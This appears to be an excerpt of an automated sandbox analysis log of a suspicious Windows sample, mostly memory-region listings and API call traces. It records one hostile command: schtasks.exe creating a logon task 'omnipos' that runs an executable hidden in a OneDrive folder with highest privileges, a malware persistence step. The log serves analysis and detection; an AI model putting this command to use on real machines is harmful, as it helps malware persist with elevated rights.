monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5460 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5461 start_va = 0x7fef9f10000 end_va = 0x7fef9f25fff monitored = 0 entry_point = 0x7fef9f1c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5462 start_va = 0x7fef9e50000 end_va = 0x7fef9f0cfff monitored = 0 entry_point = 0x7fef9ed7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5574 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 5575 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 5576 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 5577 start_va = 0x7fe90810000 end_va = 0x7fe9081ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90810000" filename = "" Region: id = 5578 start_va = 0x7fe90820000 end_va = 0x7fe9082ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90820000" filename = "" Region: id = 5579 start_va = 0x7fe90830000 end_va = 0x7fe908bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90830000" filename = "" Region: id = 5580 start_va = 0x7fe908c0000 end_va = 0x7fe9092ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe908c0000" filename = "" Region: id = 5581 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5684 start_va = 0x210000 end_va = 0x210fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 5685 start_va = 0xa90000 end_va = 0xc6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 5686 start_va = 0xc70000 end_va = 0xe8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Region: id = 5687 start_va = 0xce0000 end_va = 0xddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ce0000" filename = "" Region: id = 5688 start_va = 0xe10000 end_va = 0xe8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 5689 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 5690 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 5691 start_va = 0x2390000 end_va = 0x1a38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5692 start_va = 0x1a390000 end_va = 0x1a70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a390000" filename = "" Region: id = 5693 start_va = 0x600000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 5694 start_va = 0x760000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000760000" filename = "" Region: id = 5786 start_va = 0x1a810000 end_va = 0x1a90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a810000" filename = "" Region: id = 5787 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 5830 start_va = 0xac0000 end_va = 0xbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 5831 start_va = 0xbf0000 end_va = 0xc6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 5832 start_va = 0x1a710000 end_va = 0x1a80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a710000" filename = "" Region: id = 5833 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 6043 start_va = 0x1a910000 end_va = 0x1abdefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6263 start_va = 0x7feee870000 end_va = 0x7feefe6cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 6264 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6315 start_va = 0x220000 end_va = 0x29cfff monitored = 0 entry_point = 0x22cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6316 start_va = 0x220000 end_va = 0x29cfff monitored = 0 entry_point = 0x22cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6317 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6318 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 6319 start_va = 0x1abe0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 6320 start_va = 0x1ace0000 end_va = 0x1adbefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ace0000" filename = "" Region: id = 6321 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 6322 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 6323 start_va = 0x7fe90930000 end_va = 0x7fe909affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90930000" filename = "" Region: id = 6384 start_va = 0x7fe909b0000 end_va = 0x7fe909bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909b0000" filename = "" Region: id = 6385 start_va = 0x7fe909c0000 end_va = 0x7fe909cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909c0000" filename = "" Region: id = 6433 start_va = 0x7fef69b0000 end_va = 0x7fef69b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 6434 start_va = 0x7fef3210000 end_va = 0x7fef335efff monitored = 1 entry_point = 0x7fef3211090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 6435 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 6469 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 6470 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 6471 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 6477 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 6478 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 6479 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 6484 start_va = 0x1adc0000 end_va = 0x1b02ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adc0000" filename = "" Thread: id = 164 os_tid = 0xfb0 [0188.617] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 Thread: id = 244 os_tid = 0xabc Thread: id = 245 os_tid = 0xac0 [0188.660] CoGetContextToken (in: pToken=0x1a90f730 | out: pToken=0x1a90f730) returned 0x800401f0 [0188.660] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 264 os_tid = 0x5c0 Process: id = "29" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x437c6000" os_pid = "0xfb8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"omnipos\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2823 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2824 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2825 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2826 start_va = 0x120000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 2827 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2828 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2829 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2830 start_va = 0xfff90000 end_va = 0xfffd7fff monitored = 1 entry_point = 0xfffb966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2831 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2832 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2833 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2834 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2835 start_va = 0x1a0000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 2836 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2837 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2838 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2839 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2840 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2841 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2842 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2843 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2844 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2845 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2846 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2847 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2848 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2849 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2850 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2851 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2852 start_va = 0x370000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 2853 start_va = 0x370000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 2854 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 2855 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2856 start_va = 0x540000 end_va = 0x6c7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2857 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2858 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2859 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2860 start_va = 0x6d0000 end_va = 0x850fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 2861 start_va = 0x860000 end_va = 0x1c5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 2862 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2863 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2864 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2865 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2866 start_va = 0x1c60000 end_va = 0x1f2efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2867 start_va = 0x1a0000 end_va = 0x21cfff monitored = 0 entry_point = 0x1acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2868 start_va = 0x270000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 2869 start_va = 0x1a0000 end_va = 0x21cfff monitored = 0 entry_point = 0x1acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2870 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2871 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2872 start_va = 0x1f30000 end_va = 0x209ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 2873 start_va = 0x1f30000 end_va = 0x200efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f30000" filename = "" Region: id = 2874 start_va = 0x2020000 end_va = 0x209ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 2875 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2876 start_va = 0x1b0000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 2877 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2878 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2879 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2880 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2881 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2882 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2883 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2886 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 146 os_tid = 0xfbc [0140.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19f940 | out: lpSystemTimeAsFileTime=0x19f940*(dwLowDateTime=0x2275ce00, dwHighDateTime=0x1d8a92a)) [0140.852] GetCurrentProcessId () returned 0xfb8 [0140.852] GetCurrentThreadId () returned 0xfbc [0140.852] GetTickCount () returned 0x1388683 [0140.852] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x19f948 | out: lpPerformanceCount=0x19f948*=2061971556517) returned 1 [0140.853] GetModuleHandleW (lpModuleName=0x0) returned 0xfff90000 [0140.853] __set_app_type (_Type=0x1) [0140.853] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffb972c) returned 0x0 [0140.853] __wgetmainargs (in: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248, _DoWildCard=0, _StartInfo=0xfffd125c | out: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248) returned 0 [0140.854] _onexit (_Func=0xfffc2ab0) returned 0xfffc2ab0 [0140.854] _onexit (_Func=0xfffc2ac4) returned 0xfffc2ac4 [0140.854] _onexit (_Func=0xfffc2afc) returned 0xfffc2afc [0140.854] _onexit (_Func=0xfffc2b58) returned 0xfffc2b58 [0140.854] _onexit (_Func=0xfffc2b80) returned 0xfffc2b80 [0140.854] _onexit (_Func=0xfffc2ba8) returned 0xfffc2ba8 [0140.854] _onexit (_Func=0xfffc2bd0) returned 0xfffc2bd0 [0140.854] _onexit (_Func=0xfffc2bf8) returned 0xfffc2bf8 [0140.854] _onexit (_Func=0xfffc2c20) returned 0xfffc2c20 [0140.854] _onexit (_Func=0xfffc2c48) returned 0xfffc2c48 [0140.855] _onexit (_Func=0xfffc2c70) returned 0xfffc2c70 [0140.855] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0140.855] WinSqmIsOptedIn () returned 0x0 [0140.856] GetProcessHeap () returned 0x270000 [0140.856] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x18) returned 0x28b9b0 [0140.856] SetLastError (dwErrCode=0x0) [0140.856] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0140.856] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0140.856] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0140.856] VerifyVersionInfoW (in: lpVersionInformation=0x19f100, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x19f100) returned 1 [0140.856] GetProcessHeap () returned 0x270000 [0140.856] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x18) returned 0x28b9d0 [0140.856] lstrlenW (lpString="") returned 0 [0140.856] GetProcessHeap () returned 0x270000 [0140.856] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x2) returned 0x28b9f0 [0140.856] GetProcessHeap () returned 0x270000 [0140.857] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x285950 [0140.857] GetProcessHeap () returned 0x270000 [0140.857] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x18) returned 0x28ba10 [0140.857] GetProcessHeap () returned 0x270000 [0140.857] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x285980 [0140.857] GetProcessHeap () returned 0x270000 [0140.857] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x2859b0 [0140.857] GetProcessHeap () returned 0x270000 [0140.857] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x2859e0 [0140.857] GetProcessHeap () returned 0x270000 [0140.857] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x285a10 [0140.857] GetProcessHeap () returned 0x270000 [0140.857] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x18) returned 0x28ba30 [0140.857] GetProcessHeap () returned 0x270000 [0140.857] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x285a40 [0140.857] GetProcessHeap () returned 0x270000 [0140.857] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x285a70 [0140.857] GetProcessHeap () returned 0x270000 [0140.857] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x285aa0 [0140.857] GetProcessHeap () returned 0x270000 [0140.857] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x285ad0 [0140.857] GetProcessHeap () returned 0x270000 [0140.857] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x18) returned 0x28ba50 [0140.857] GetProcessHeap () returned 0x270000 [0140.857] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x285b00 [0140.857] GetProcessHeap () returned 0x270000 [0140.857] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x285b30 [0140.857] GetProcessHeap () returned 0x270000 [0140.857] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x285b60 [0140.857] GetProcessHeap () returned 0x270000 [0140.857] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x285b90 [0140.857] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 